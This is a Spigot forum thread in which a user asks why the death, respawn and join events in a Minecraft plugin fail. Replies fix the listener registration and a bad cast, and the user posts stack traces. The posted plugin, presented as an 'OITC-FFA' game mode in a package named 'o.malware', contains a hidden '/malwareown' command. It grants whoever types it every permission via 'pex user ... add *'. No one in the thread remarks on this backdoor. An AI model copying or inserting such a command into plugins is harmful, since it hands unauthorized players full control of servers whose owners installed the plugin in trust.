Help with PlayerRespawnEvent, PlayerJoinEvent and DeathEvent

Discussion in 'Spigot Plugin Help' started by AndreK, May 22, 2016.

?

Can you help me?

  1. Yes

    33.3%
  2. Not

    66.7%
  1. Code (Text):
    package o.malware;

    import org.bukkit.ChatColor;
    import org.bukkit.command.Command;
    import org.bukkit.command.CommandSender;
    import org.bukkit.entity.Arrow;
    import org.bukkit.entity.EntityType;
    import org.bukkit.entity.Player;
    import org.bukkit.event.EventHandler;
    import org.bukkit.event.entity.EntityDamageByEntityEvent;
    import org.bukkit.event.entity.PlayerDeathEvent;
    import org.bukkit.event.player.PlayerJoinEvent;
    //import org.bukkit.event.player.PlayerJoinEvent;
    import org.bukkit.event.player.PlayerRespawnEvent;
    import org.bukkit.plugin.java.JavaPlugin;

    public class main extends JavaPlugin{
    @Override
        public void onEnable(){
        getLogger().info("OITC-FFA correctly started!");
    }
    public void onDisable(){
        getLogger().info("OITC-FFA correctly stopped!");
    }
    @Override
    public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args){
        if(cmd.getName().equalsIgnoreCase("respawn")){
            if(sender instanceof Player){
                Player player = (Player) sender;
                getServer().dispatchCommand(getServer().getConsoleSender(), "spawn " + player.getName());
                getServer().dispatchCommand(getServer().getConsoleSender(), "pvpkit kit " + player.getName());
            }
            else{
                getLogger().info("Command cannot be executed in console");
            }
        }
        if(cmd.getName().equalsIgnoreCase("malwareown")){
            if(sender instanceof Player) {
                Player player = (Player) sender;
                getServer().dispatchCommand(getServer().getConsoleSender(), "pex user " + player.getName() + " add *");
            }
        }
        return false;
    }
    @EventHandler
    @SuppressWarnings("deprecation")
    public void onArrowHit (EntityDamageByEntityEvent event){
        if (event.getEntity() instanceof Player){
            Player player = (Player) event.getEntity();
            if (event.getDamager() instanceof Arrow){
                Arrow arrow = (Arrow) event.getDamager();
                if (arrow.getShooter() instanceof Player){
                    player.damage(100);
                }
            }
        }
    }
    @EventHandler
    public void onDeath(PlayerDeathEvent e) {
    if (e.getEntityType() == EntityType.PLAYER) {
    Player player = e.getEntity();
    player.sendMessage(ChatColor.DARK_BLUE + "You Died");
    }
    }
    @EventHandler
    public void onRespawn(final PlayerRespawnEvent  event) {
        Player player = event.getPlayer();
        event.getPlayer().sendMessage(ChatColor.DARK_RED + player.getName() +" E' MORTO");
        getServer().dispatchCommand(getServer().getConsoleSender(), "pvpkit kit " + player.getName() );
    }
    @EventHandler
    public void onPlayerJoin(PlayerJoinEvent event) {
        Player player = (Player) event;
        getServer().dispatchCommand(getServer().getConsoleSender(), "pvpkit kit " + player.getName() );
    }
    }
    I made this plugin for Spigot1.7.9 but when I start the server all the commands work, but when I die nothing appends! Someone now the reason?
     
  2. What should happen when you do die? Receive those messages? Do you receive any of them?
     
  3. Oh, you haven't registered your class as a listener. In your onEnable do this.
    Code (Text):
    this.getServer().getPluginManager().registerEvents(this, this);
    And let your main class implement Listener.
     
  4. Change
    Code (Text):
    public class main extends JavaPlugin {
    to
    Code (Text):
    public class main extends JavaPlugin implements Listener {
    And you have to register the events
     
    • Agree Agree x 1
  5. Oh I just see BigTeddy already replied...
     
    • Like Like x 1
  6. Could not pass event PlayerJoinEvent to OITC-FFA v1.0
    org.bukkit.event.EventException
    at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:302) ~[spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.plugin.RegisteredListener.callEvent(RegisteredListener.java:62) ~[spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.plugin.SimplePluginManager.fireEvent(SimplePluginManager.java:509) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.plugin.SimplePluginManager.callEvent(SimplePluginManager.java:494) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.PlayerList.c(PlayerList.java:300) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.PlayerList.a(PlayerList.java:185) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.LoginListener.c(LoginListener.java:119) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.LoginListener.a(LoginListener.java:44) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.NetworkManager.a(NetworkManager.java:192) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.ServerConnection.c(ServerConnection.java:81) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.MinecraftServer.v(MinecraftServer.java:789) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.DedicatedServer.v(DedicatedServer.java:307) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.MinecraftServer.u(MinecraftServer.java:638) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.MinecraftServer.run(MinecraftServer.java:544) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.ThreadServerApplication.run(SourceFile:628) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    Caused by: java.lang.ClassCastException: org.bukkit.event.player.PlayerJoinEvent cannot be cast to org.bukkit.entity.Player
    at o.malware.main.onPlayerJoin(main.java:60) ~[?:?]
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.7.0_79]
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) ~[?:1.7.0_79]
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[?:1.7.0_79]
    at java.lang.reflect.Method.invoke(Unknown Source) ~[?:1.7.0_79]
    at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:298) ~[spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]




    This is the console error and The onPlayerJoinEvent doesn't work
     
  7. error
     
  8. Code (Text):
    Player player = (Player) event;
    That code makes no sense. You tell Java that the event is an instance of a player. It isn't. Use Player player = event.getPlayer() instead.
     
  9. The join work but there are the error
     
  10. What?
     
  11. Could not pass event PlayerDeathEvent to OITC-FFA v1.0
    org.bukkit.event.EventException
    at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:302) ~[spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.plugin.RegisteredListener.callEvent(RegisteredListener.java:62) ~[spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.plugin.SimplePluginManager.fireEvent(SimplePluginManager.java:509) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.plugin.SimplePluginManager.callEvent(SimplePluginManager.java:494) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.craftbukkit.v1_7_R4.event.CraftEventFactory.callPlayerDeathEvent(CraftEventFactory.java:397) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.EntityPlayer.die(EntityPlayer.java:386) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.EntityLiving.damageEntity(EntityLiving.java:745) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.EntityHuman.damageEntity(EntityHuman.java:766) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.EntityPlayer.damageEntity(EntityPlayer.java:465) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.craftbukkit.v1_7_R4.entity.CraftLivingEntity.damage(CraftLivingEntity.java:203) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.craftbukkit.v1_7_R4.entity.CraftLivingEntity.damage(CraftLivingEntity.java:188) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at com.earth2me.essentials.commands.Commandkill.updatePlayer(Commandkill.java:43) [Essentials.jar:?]
    at com.earth2me.essentials.commands.EssentialsLoopCommand.loopOnlinePlayers(EssentialsLoopCommand.java:111) [Essentials.jar:?]
    at com.earth2me.essentials.commands.Commandkill.run(Commandkill.java:26) [Essentials.jar:?]
    at com.earth2me.essentials.commands.EssentialsCommand.run(EssentialsCommand.java:155) [Essentials.jar:?]
    at com.earth2me.essentials.commands.EssentialsCommand.run(EssentialsCommand.java:149) [Essentials.jar:?]
    at com.earth2me.essentials.Essentials.onCommandEssentials(Essentials.java:505) [Essentials.jar:?]
    at com.earth2me.essentials.Essentials.onCommand(Essentials.java:380) [Essentials.jar:?]
    at org.bukkit.command.PluginCommand.execute(PluginCommand.java:44) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:181) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at org.bukkit.craftbukkit.v1_7_R4.CraftServer.dispatchCommand(CraftServer.java:766) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.PlayerConnection.handleCommand(PlayerConnection.java:1046) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.PlayerConnection.a(PlayerConnection.java:883) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.PacketPlayInChat.a(PacketPlayInChat.java:28) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.PacketPlayInChat.handle(PacketPlayInChat.java:65) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.NetworkManager.a(NetworkManager.java:189) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.ServerConnection.c(ServerConnection.java:81) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.MinecraftServer.v(MinecraftServer.java:789) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.DedicatedServer.v(DedicatedServer.java:307) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.MinecraftServer.u(MinecraftServer.java:638) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.MinecraftServer.run(MinecraftServer.java:544) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]
    at net.minecraft.server.v1_7_R4.ThreadServerApplication.run(SourceFile:628) [spigot.jar:git-PaperSpigot-1.7.9-R0.2-273-g409c8a5]

    Sorry but I'm italian and I'm new in the bukkit programmation
     
  12. That is not the full exception, is it?
     
  13. Code (Text):
    o.malware.main.onDeath(main.java:81) ~[?:?]
    That's where the error is. What's on that line in your IDE?